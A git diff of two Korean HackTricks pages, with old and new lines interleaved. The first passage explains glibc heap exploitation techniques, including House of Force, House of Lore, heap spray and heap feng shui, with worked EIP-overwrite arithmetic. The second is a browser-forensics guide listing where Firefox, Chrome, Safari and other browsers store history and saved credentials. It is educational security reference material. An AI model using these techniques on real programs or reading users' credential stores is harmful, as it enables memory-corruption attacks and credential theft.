따라서이 포인터가 원하는 곳을 가리키도록 할 수 있습니다. 그러나 모든 위치가 유효한 것은 아닙니다. 가짜 조각의 크기는 av->max\_fast보다 작아야하며, 미래의 malloc() 호출에 요청된 크기와 정확히 같아야합니다. 따라서, 이 취약한 포인터 뒤에 malloc(40)이 호출된다고 가정하면, 가짜 조각의 크기는 48과 같아야합니다.
|
||||
|
||||
예를 들어, 프로그램이 사용자에게 숫자를 물으면 48을 입력하고 malloc 포인터를 수정 가능한 다음 4바이트로 이동시킬 수 있습니다(운이 좋다면 EBP일 수 있으므로, 48이 뒤에 남게 됩니다. 이외에도 ptr-4+48 주소는 여러 조건을 충족해야 합니다(이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system\_mem.
|
||||
예를 들어 프로그램이 사용자에게 숫자를 묻는 경우 48을 입력하고 malloc 포인터를 다음 4바이트에 가리키도록 할 수 있습니다 (이는 운이 좋다면 EBP에 속할 수 있으므로, 48이 뒤에 남게됩니다. 마치 헤더 크기처럼). 또한, ptr-4+48 주소는 여러 조건을 충족해야합니다 (이 경우 ptr=EBP), 즉, 8 < ptr-4+48 < av->system\_mem.
|
||||
|
||||
이 조건이 충족되면, 우리가 말한 malloc(40) 호출 시 EBP의 주소가 할당됩니다. 공격자가 이 malloc에 쓸 내용을 제어할 수 있다면 EBP와 EIP를 원하는 주소로 덮어쓸 수 있습니다.
|
||||
이 조건이 충족되면, 우리가 말한 malloc(40)이 호출될 때 EBP의 주소가 할당됩니다. 공격자가이 malloc에 쓰여진 내용을 제어할 수있는 경우 EBP 및 EIP를 원하는 주소로 덮어쓸 수 있습니다.
|
||||
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다. 따라서 그 주소를 할당합니다.
|
||||
이것은 free()가 스택의 EBP를 가리키는 주소에 새로운 malloc()에 대한 완벽한 크기의 조각이 있다는 것을 저장하기 때문이라고 생각합니다. 따라서 그 주소를 할당합니다.
|
||||
|
||||
**The House of Force**
|
||||
|
||||
필요한 것:
|
||||
|
||||
* wilderness를 덮어쓸 수 있는 조각의 오버플로우
|
||||
* 사용자가 정의한 크기로 malloc() 호출
|
||||
* 사용자가 정의한 데이터로 malloc() 호출
|
||||
* wilderness를 덮어쓸 수있는 조각에 대한 오버플로우
|
||||
* 사용자가 정의한 크기로 malloc()를 호출
|
||||
* 사용자가 정의한 데이터로 malloc()를 호출
|
||||
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값(0xffffffff)으로 덮어쓰기하여 메모리 요청이 힙을 확장할 필요 없이 \_int\_malloc()에서 처리되도록 합니다.
|
||||
첫 번째로 wilderness 조각의 크기를 매우 큰 값 (0xffffffff)으로 덮어씁니다. 따라서 충분히 큰 메모리 요청은 힙을 확장하지 않고 \_int\_malloc()에서 처리됩니다.
|
||||
|
||||
두 번째로, av->top을 공격자가 제어하는 메모리 영역(예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
|
||||
두 번째로 av->top을 공격자가 제어하는 메모리 영역 (예: 스택)을 가리키도록 변경합니다. av->top에는 \&EIP - 8이 들어갑니다.
|
||||
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어써야 합니다:
|
||||
공격자가 제어하는 메모리 영역을 가리키도록 av->top을 덮어씌워야합니다:
|
||||
|
||||
victim = av->top;
|
||||
|
||||
|
@ -854,62 +520,64 @@ remainder = chunck\_at\_offset(victim, nb);
|
|||
|
||||
av->top = remainder;
|
||||
|
||||
Victim은 현재 wilderness 조각의 주소(현재 av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수를 더한 것입니다. 따라서, \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있다면, 다음 malloc()에 av->top이 \&EIP-8을 가리키도록 제어된 malloc에 예약해야 하는 바이트 수는 다음과 같습니다:
|
||||
Victim은 현재 wilderness 조각의 주소 (현재 av->top)를 수집하고, remainder는 해당 주소와 malloc()에 의해 요청된 바이트 수의 합입니다. 따라서 \&EIP-8이 0xbffff224에 있고 av->top에 0x080c2788이 포함되어 있으면, av->top이 다음 malloc()에 대해 $EIP-8을 가리키도록 제어 가능한 malloc에 예약해야하는 바이트 수는 다음과 같습니다:
|
||||
|
||||
0xbffff224 - 0x080c2788 = 3086207644.
|
||||
|
||||
따라서 변경된 값을 av->top에 저장하고 다음 malloc이 EIP를 가리키고 덮어쓸 수 있습니다.
|
||||
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc() 호출에 의해 요청된 크기보다 커야 합니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, 크기는 정확히 스택의 EBP 필드에 위치합니다.
|
||||
새로운 wilderness 조각의 크기가 마지막 malloc()에 의해 요청된 크기보다 커야합니다. 즉, wilderness가 \&EIP-8을 가리키고 있다면, 크기는 정확히 스택의 EBP 필드에 있게됩니다.
|
||||
|
||||
**The House of Lore**
|
||||
|
||||
**SmallBin 손상**
|
||||
|
||||
해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 bin에 넣기 전에 unsorted bins에 보관됩니다. 조각이 해제되면 즉시 해당 bin에 넣지 않고 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각을 사용할 수 있는 경우 해당 조각을 반환하지만, 더 큰 조각을 예약하면 unsorted bins에 있는 조각이 해당하는 적절한 bin에 넣습니다.
|
||||
해제된 조각은 크기에 따라 bin에 넣습니다. 그러나 unsorted bins에 먼저 저장됩니다. 조각이 해제되면 즉시 해당 bin에 넣지 않고 unsorted bins에 남아 있습니다. 그런 다음 새로운 조각을 예약하고 이전에 해제된 조각이 유용하면 반환되지만 더 큰 조각을 예약하면 unsorted bins에 있는 조각이 해당하는 적절한 bin에 넣어집니다.
|
||||
|
||||
취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 크고 MIN\_LARGE\_SIZE(512)보다 작아야 합니다.
|
||||
취약한 코드에 도달하려면 메모리 요청이 av->max\_fast(보통 72)보다 커야하고 MIN\_LARGE\_SIZE(512)보다 작아야합니다.
|
||||
|
||||
bin에 적절한 크기의 조각이 있는 경우 해당 조각을 반환하고 다음과 같이 해제합니다:
|
||||
bin에 적합한 크기의 조각이 있으면 해당 조각을 반환하고 다음 작업을 수행합니다:
|
||||
|
||||
bck = victim->bk; 이전 조각을 가리킵니다. 우리가 변경할 수 있는 유일한 정보입니다.
|
||||
bck = victim->bk; 이전 조각을 가리킵니다. 우리가 변경할 수있는 유일한 정보입니다.
|
||||
|
||||
bin->bk = bck; 뒤에서 두 번째 조각이 마지막이 되며, bck가 스택을 가리키는 경우 다음 예약된 조각에 이 주소가 할당됩니다.
|
||||
bin->bk = bck; 뒤에서 두 번째 조각이 마지막이되며, bck가 스택을 가리키면 다음 예약된 조각이 이 주소를 받게됩니다.
|
||||
|
||||
bck->fd = bin; 이를 bin으로 가리키도록하여 목록을 닫습니다.
|
||||
bck->fd = bin; 이를 통해이가 bin을 가리키도록하여 목록이 닫힙니다.
|
||||
|
||||
필요한 것:
|
||||
두 개의 malloc이 예약되어야 합니다. 두 번째 malloc이 해제되고 해당 bin에 들어간 후에 첫 번째 malloc에 오버플로우를 발생시킬 수 있어야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc이 예약되어야 함).
|
||||
두 개의 malloc이 예약되어야 하며, 첫 번째 malloc에 오버플로우를 발생시킬 수 있어야 하며, 두 번째 malloc이 해제되고 해당 bin에 들어간 후에 오버플로우가 발생해야 합니다 (즉, 오버플로우하기 전에 두 번째 조각보다 큰 malloc이 예약되어야 함).
|
||||
|
||||
공격자가 선택한 주소를 가리키는 malloc이 공격자에 의해 제어되어야 합니다.
|
||||
|
||||
목표는 다음과 같습니다. 이미 해제되어 bin에 있는 하위 조각에 오버플로우를 발생시킬 수 있다면, 해당 조각의 bk 포인터를 수정할 수 있습니다. bk 포인터를 수정하고 해당 조각이 bin 목록의 첫 번째로 되어 다시 예약되면, bin을 속일 수 있고 다음으로 제공될 목록의 마지막 조각이 우리가 설정한 가짜 주소에 있다고 알립니다 (예: 스택 또는 GOT). 따라서 다른 조각이 다시 예약되고 공격자가 해당 조각에 권한이 있다면, 원하는 위치에 조각이 제공되고 해당 위치에 쓸 수 있습니다.
|
||||
목표는 다음과 같습니다. 이미 해제되어 bin에 있는 하위 조각을 오버플로우할 수 있다면, 해당 조각의 bk 포인터를 수정할 수 있습니다. bk 포인터를 수정하고 해당 조각이 bin 목록의 첫 번째로 되어 다시 예약되면, bin을 속일 수 있고, bin에게 다음으로 제공할 조각이 가짜 주소 (예: 스택 또는 GOT)에 있다고 알릴 수 있습니다. 따라서 다른 조각이 다시 예약되고 공격자가 해당 조각에 권한이 있다면, 원하는 위치에 조각이 제공되고 해당 위치에 쓸 수 있습니다.
|
||||
|
||||
수정된 조각을 해제한 후 해제된 조각보다 큰 조각을 예약해야 합니다. 이렇게 하면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.
|
||||
수정된 조각을 해제한 후 해제된 조각보다 큰 조각을 예약해야 하며, 이렇게 하면 수정된 조각이 unsorted bins에서 나오고 해당 bin에 들어갈 것입니다.
|
||||
|
||||
한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정해야 합니다. 이제 bin은 malloc()이 호출될 때 충분히 많이 호출되어 수정된 bin이 다시 사용되고 다음 조각이 가짜 주소에 있는 것처럼 bin을 속이게 해야 합니다. 그런 다음 원하는 조각이 제공됩니다.
|
||||
한 번 bin에 들어가면 오버플로우를 통해 bk 포인터를 수정하여 원하는 주소를 가리키도록해야 합니다.
|
||||
|
||||
취약성이 가능한 한 빨리 실행되도록하려면 다음이 이상적입니다. 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약성), 수정된 조각과 동일한 크기의 조각 예약, 그리고 수정된 조각과 동일한 크기의 두 번째 조각 예약하고 이것이 선택한 주소를 가리키게 합니다.
|
||||
따라서 bin은 malloc()이 충분히 호출될 때까지 기다려야 하며, 수정된 bin이 다시 사용되고 bin을 속여 다음 조각이 가짜 주소에 있다고 믿게 해야 합니다. 그런 다음 원하는 조각이 제공됩니다.
|
||||
|
||||
이 공격을 방어하기 위해 "가짜" 조각이 아닌 것을 확인하는 전형적인 확인이 사용되었습니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜 조각이 가리키는 fd\* 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.
|
||||
취약점이 가능한 빨리 실행되도록하려면 다음이 이상적일 것입니다. 취약한 조각 예약, 수정될 조각 예약, 해당 조각 해제, 수정될 조각보다 큰 조각 예약, 조각 수정 (취약점), 취약한 조각과 동일한 크기의 조각 예약, 그리고 취약한 조각과 동일한 크기의 두 번째 조각 예약하고 이것이 선택한 주소를 가리키게 합니다.
|
||||
|
||||
이 공격을 방어하기 위해 "가짜" 조각이 아닌지를 확인하는 전형적인 확인이 사용됩니다: bck->fd가 victim을 가리키는지 확인합니다. 즉, 우리의 경우 스택에 가짜 조각을 가리키는 bck->fd 포인터가 victim을 가리키는지 확인합니다. 이 보호를 우회하려면 공격자는 어떤 방식으로든 (아마도 스택을 통해) 적절한 주소에 victim의 주소를 쓸 수 있어야 합니다. 그렇게 하면 진짜 조각처럼 보일 것입니다.
|
||||
|
||||
**LargeBin 손상**
|
||||
|
||||
이전과 동일한 요구 사항과 추가 요구 사항이 필요하며, 예약된 조각은 512보다 큰 크기여야 합니다.
|
||||
|
||||
공격은 이전과 같이 bk 포인터를 수정해야 하며, 모든 그 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, 그 크기 - nb가 < MINSIZE여야 합니다.
|
||||
공격은 이전과 같이 bk 포인터를 수정해야 하며, 모든 해당 malloc() 호출이 필요하지만 수정된 조각의 크기를 수정해야 합니다. 즉, size - nb가 < MINSIZE여야 합니다.
|
||||
|
||||
예를 들어, 크기를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 것을 비교하므로 차이가 음수가 되어서는 안됩니다).
|
||||
예를 들어, size를 1552로 설정하여 1552 - 1544 = 8 < MINSIZE가 되도록합니다 (부호 없는 값을 비교하므로 차이가 음수가 되면 안됨).
|
||||
|
||||
또한 더 복잡하게 만들기 위해 패치가 도입되었습니다.
|
||||
또한 더 복잡하게 만드는 패치가 도입되었습니다.
|
||||
|
||||
**힙 스프레이**
|
||||
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고 이를 모두 nops로 끝나는 셸코드로 채웁니다. 또한 0x0c를 셜코드로 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서이 셜코드로 호출될 주소가 덮어쓰여지면 해당 위치로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어쓰이는지 확인하고 0x0c0c0c0c로 점프하여 그곳에 nops가 있는지 확인하는 것입니다.
|
||||
기본적으로 가능한 한 많은 힙 메모리를 예약하고, 이를 nops로 끝나는 셸코드로 채웁니다. 또한 셸코드로 0x0c를 사용합니다. 따라서 0x0c0c0c0c 주소로 점프하려고 시도하며, 따라서이 셀코드로 호출될 주소가 덮어써지면 해당 위치로 점프합니다. 기본적으로 전략은 가능한 한 많이 예약하여 어떤 포인터가 덮어써지는지 확인하고 0x0c0c0c0c로 점프하여 해당 위치에 nops가 있는지 확인하는 것입니다.
|
||||
|
||||
**힙 펑 수이**
|
||||
|
||||
힙을 예약하고 해제하여 빈 힙 사이에 예약된 조각이 남도록 메모리를 정돈하는 것입니다. 오버플로우 할 버퍼는 이러한 빈 공간 중 하나에 위치합니다.
|
||||
힙을 예약하고 해제하여 예약된 조각과 해제된 조각 사이에 예약된 조각이 남도록 메모리를 정돈하는 것입니다. 오버플로우할 버퍼는 이러한 조각 중 하나에 위치합니다.
|
||||
|
||||
## 흥미로운 코스
|
||||
|
||||
|
@ -927,10 +595,10 @@ bck->fd = bin; 이를 bin으로 가리키도록하여 목록을 닫습니다.
|
|||
|
||||
HackTricks를 지원하는 다른 방법:
|
||||
|
||||
* **회사를 HackTricks에서 광고하거나 HackTricks를 PDF로 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks를 다운로드하고 싶다면** [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구입하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우하세요.**
|
||||
* **HackTricks** 및 [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks) github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
* **💬 [디스코드 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 가입하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 팔로우하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,12 +9,12 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **회사가 HackTricks에 광고되길 원하거나 PDF로 HackTricks 다운로드**하려면 [**구독 요금제**](https://github.com/sponsors/carlospolop)를 확인하세요!
|
||||
* [**공식 PEASS & HackTricks 스왜그**](https://peass.creator-spring.com)를 구매하세요
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)를 발견하세요, 당사의 독점 [**NFTs**](https://opensea.io/collection/the-peass-family) 컬렉션
|
||||
* 💬 [**디스코드 그룹**](https://discord.gg/hRep4RUj7f) 또는 [**텔레그램 그룹**](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)를 **팔로우**하세요.
|
||||
* **💬 [Discord 그룹](https://discord.gg/hRep4RUj7f)** 또는 [텔레그램 그룹](https://t.me/peass)에 **가입**하거나 **트위터** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**를 팔로우**하세요.
|
||||
* **HackTricks** 및 **HackTricks Cloud** github 저장소에 PR을 제출하여 해킹 트릭을 공유하세요.
|
||||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 **가장 고급** 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축**하고 **자동화**하세요.\
|
||||
|
@ -33,13 +33,13 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **북마크**: 사용자가 빠르게 액세스하기 위해 저장한 사이트.
|
||||
* **확장 프로그램 및 애드온**: 사용자가 설치한 브라우저 확장 프로그램 또는 애드온.
|
||||
* **캐시**: 웹 콘텐츠(예: 이미지, JavaScript 파일)를 저장하여 웹 사이트 로딩 시간을 단축하는 데 유용한 포렌식 분석에 가치가 있습니다.
|
||||
* **로그인 정보**: 저장된 로그인 자격 증명.
|
||||
* **로그인**: 저장된 로그인 자격 증명.
|
||||
* **파비콘**: 탭 및 북마크에 나타나는 웹 사이트와 관련된 아이콘으로, 사용자 방문에 대한 추가 정보로 유용합니다.
|
||||
* **브라우저 세션**: 열린 브라우저 세션과 관련된 데이터.
|
||||
* **다운로드**: 브라우저를 통해 다운로드한 파일의 기록.
|
||||
* **양식 데이터**: 웹 양식에 입력된 정보로, 미래 자동 입력 제안을 위해 저장됩니다.
|
||||
* **썸네일**: 웹 사이트의 미리 보기 이미지.
|
||||
* **사용자 지정 사전.txt**: 브라우저 사전에 사용자가 추가한 단어.
|
||||
* **사용자 지정 사전.txt**: 사용자가 브라우저 사전에 추가한 단어.
|
||||
|
||||
## 파이어폭스
|
||||
|
||||
|
@ -49,7 +49,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **맥OS**: `/Users/$USER/Library/Application Support/Firefox/Profiles/`
|
||||
* **윈도우**: `%userprofile%\AppData\Roaming\Mozilla\Firefox\Profiles\`
|
||||
|
||||
이러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다.
|
||||
이러한 디렉토리 내에 있는 `profiles.ini` 파일은 사용자 프로필을 나열합니다. 각 프로필의 데이터는 `profiles.ini`와 동일한 디렉토리에 위치한 `profiles.ini` 내의 `Path` 변수로 명명된 폴더에 저장됩니다. 프로필 폴더가 누락된 경우 삭제된 것일 수 있습니다.
|
||||
|
||||
각 프로필 폴더 내에서 여러 중요한 파일을 찾을 수 있습니다:
|
||||
|
||||
|
@ -64,7 +64,7 @@ HackTricks를 지원하는 다른 방법:
|
|||
* **cache2/entries** 또는 **startupCache**: 캐시 데이터로, [MozillaCacheView](https://www.nirsoft.net/utils/mozilla\_cache\_viewer.html)와 같은 도구를 통해 액세스할 수 있습니다.
|
||||
* **favicons.sqlite**: 파비콘을 저장합니다.
|
||||
* **prefs.js**: 사용자 설정 및 환경 설정.
|
||||
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합되어 있습니다.
|
||||
* **downloads.sqlite**: 이전 다운로드 데이터베이스로, 현재는 places.sqlite에 통합됩니다.
|
||||
* **thumbnails**: 웹 사이트 썸네일.
|
||||
* **logins.json**: 암호화된 로그인 정보.
|
||||
* **key4.db** 또는 **key3.db**: 민감한 정보 보호를 위한 암호화 키를 저장합니다.
|
||||
|
@ -100,21 +100,21 @@ Google Chrome은 운영 체제에 따라 특정 위치에 사용자 프로필을
|
|||
|
||||
* **History**: URL, 다운로드 및 검색 키워드를 포함합니다. Windows에서는 [ChromeHistoryView](https://www.nirsoft.net/utils/chrome\_history\_view.html)를 사용하여 히스토리를 읽을 수 있습니다. "Transition Type" 열에는 사용자가 링크를 클릭하거나 URL을 입력하거나 양식을 제출하거나 페이지를 새로 고침하는 등 다양한 의미가 포함됩니다.
|
||||
* **Cookies**: 쿠키를 저장합니다. 검사를 위해 [ChromeCookiesView](https://www.nirsoft.net/utils/chrome\_cookies\_view.html)를 사용할 수 있습니다.
|
||||
* **Cache**: 캐시된 데이터를 보유합니다. Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용하여 검사할 수 있습니다.
|
||||
* **Cache**: 캐시된 데이터를 보유합니다. 검사를 위해 Windows 사용자는 [ChromeCacheView](https://www.nirsoft.net/utils/chrome\_cache\_view.html)를 활용할 수 있습니다.
|
||||
* **Bookmarks**: 사용자 북마크입니다.
|
||||
* **Web Data**: 양식 히스토리를 포함합니다.
|
||||
* **Favicons**: 웹 사이트의 파비콘을 저장합니다.
|
||||
* **Favicons**: 웹 사이트의 아이콘을 저장합니다.
|
||||
* **Login Data**: 사용자 이름 및 비밀번호와 같은 로그인 자격 증명을 포함합니다.
|
||||
* **Current Session**/**Current Tabs**: 현재 브라우징 세션 및 열린 탭에 대한 데이터입니다.
|
||||
* **Last Session**/**Last Tabs**: Chrome이 닫히기 전에 활성화된 사이트에 대한 정보입니다.
|
||||
* **Extensions**: 브라우저 확장 프로그램 및 애드온을 위한 디렉토리입니다.
|
||||
* **Thumbnails**: 웹 사이트 썸네일을 저장합니다.
|
||||
* **Preferences**: 플러그인, 확장 프로그램, 팝업, 알림 등의 설정을 포함한 정보가 풍부한 파일입니다.
|
||||
* **Browser의 내장된 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
* **브라우저 내장 안티 피싱**: 안티 피싱 및 악성 코드 보호가 활성화되어 있는지 확인하려면 `grep 'safebrowsing' ~/Library/Application Support/Google/Chrome/Default/Preferences`를 실행합니다. 출력에서 `{"enabled: true,"}`를 찾습니다.
|
||||
|
||||
## **SQLite DB 데이터 복구**
|
||||
|
||||
이전 섹션에서 볼 수 있듯이, Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) **또는** [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
|
||||
이전 섹션에서 볼 수 있듯이 Chrome과 Firefox는 데이터를 저장하기 위해 **SQLite** 데이터베이스를 사용합니다. 삭제된 항목을 복구할 수 있는 도구인 [**sqlparse**](https://github.com/padfoot999/sqlparse) 또는 [**sqlparse\_gui**](https://github.com/mdegrazia/SQLite-Deleted-Records-Parser/releases)를 사용할 수 있습니다.
|
||||
|
||||
## **Internet Explorer 11**
|
||||
|
||||
|
@ -122,7 +122,7 @@ Internet Explorer 11은 다양한 위치에 데이터 및 메타데이터를 관
|
|||
|
||||
### 메타데이터 저장
|
||||
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 함께 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다.
|
||||
Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\Windows\WebCache\WebcacheVX.data` (VX가 V01, V16 또는 V24인 경우)에 저장됩니다. 이와 관련하여 `V01.log` 파일은 `WebcacheVX.data`와 수정 시간의 불일치를 보여줄 수 있으며, `esentutl /r V01 /d`를 사용하여 복구해야 할 수 있습니다. 이 ESE 데이터베이스에 저장된 메타데이터는 photorec 및 [ESEDatabaseView](https://www.nirsoft.net/utils/ese\_database\_view.html)와 같은 도구를 사용하여 복구하고 검사할 수 있습니다. **Containers** 테이블 내에서 각 데이터 세그먼트가 저장된 특정 테이블 또는 컨테이너를 식별할 수 있으며, 이는 Skype와 같은 다른 Microsoft 도구의 캐시 세부 정보를 포함합니다.
|
||||
|
||||
### 캐시 검사
|
||||
|
||||
|
@ -138,11 +138,11 @@ Internet Explorer의 메타데이터는 `%userprofile%\Appdata\Local\Microsoft\W
|
|||
|
||||
### 브라우징 히스토리
|
||||
|
||||
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 설정해야 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다.
|
||||
브라우징 히스토리를 검토하려면 [BrowsingHistoryView](https://www.nirsoft.net/utils/browsing\_history\_view.html)를 사용하고, 추출된 히스토리 파일의 위치와 Internet Explorer 구성을 필요로 합니다. 여기서 메타데이터에는 수정 및 액세스 시간과 액세스 횟수가 포함됩니다. 히스토리 파일은 `%userprofile%\Appdata\Local\Microsoft\Windows\History`에 있습니다.
|
||||
|
||||
### 입력된 URL
|
||||
|
||||
입력된 URL 및 사용 시간은 사용자가 입력한 마지막 50개 URL과 해당 마지막 입력 시간을 추적하는 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime` 아래에 저장됩니다.
|
||||
입력된 URL 및 사용 시간은 레지스트리 내 `NTUSER.DAT`의 `Software\Microsoft\InternetExplorer\TypedURLs` 및 `Software\Microsoft\InternetExplorer\TypedURLsTime`에 저장되며, 사용자가 입력한 마지막 50개의 URL과 마지막 입력 시간을 추적합니다.
|
||||
|
||||
## Microsoft Edge
|
||||
|
||||
|
@ -165,13 +165,13 @@ Safari 데이터는 `/Users/$User/Library/Safari`에 저장됩니다. 주요 파
|
|||
* **Extensions.plist**: Safari 브라우저 확장 프로그램 목록입니다. 검색하려면 `plutil` 또는 `pluginkit`을 사용합니다.
|
||||
* **UserNotificationPermissions.plist**: 푸시 알림을 허용하는 도메인입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **LastSession.plist**: 마지막 세션의 탭입니다. 구문 분석하려면 `plutil`을 사용합니다.
|
||||
* **Browser의 내장된 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다.
|
||||
* **브라우저 내장 안티 피싱**: `defaults read com.apple.Safari WarnAboutFraudulentWebsites`를 사용하여 확인합니다. 1이 응답되면 해당 기능이 활성화되어 있음을 나타냅니다.
|
||||
|
||||
## Opera
|
||||
|
||||
Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.Opera`에 저장되며, 히스토리 및 다운로드에 대한 Chrome의 형식을 공유합니다.
|
||||
|
||||
* **Browser의 내장된 안티 피싱**: `fraud_protection_enabled`이 `true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다.
|
||||
* **브라우저 내장 안티 피싱**: `fraud_protection_enabled`이 `true`로 설정되어 있는지 확인하려면 `grep`를 사용합니다.
|
||||
|
||||
이러한 경로 및 명령은 다른 웹 브라우저에 의해 저장된 브라우징 데이터에 액세스하고 이해하는 데 중요합니다.
|
||||
|
||||
|
@ -182,7 +182,7 @@ Opera 데이터는 `/Users/$USER/Library/Application Support/com.operasoftware.O
|
|||
* [https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file](https://books.google.com/books?id=jfMqCgAAQBAJ\&pg=PA128\&lpg=PA128\&dq=%22This+file)
|
||||
* **책: OS X Incident Response: Scripting and Analysis By Jaron Bradley pag 123**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks)를 사용하여 세계에서 가장 고급 커뮤니티 도구를 활용한 **워크플로우를 쉽게 구축하고 자동화**하세요.\
|
||||
|
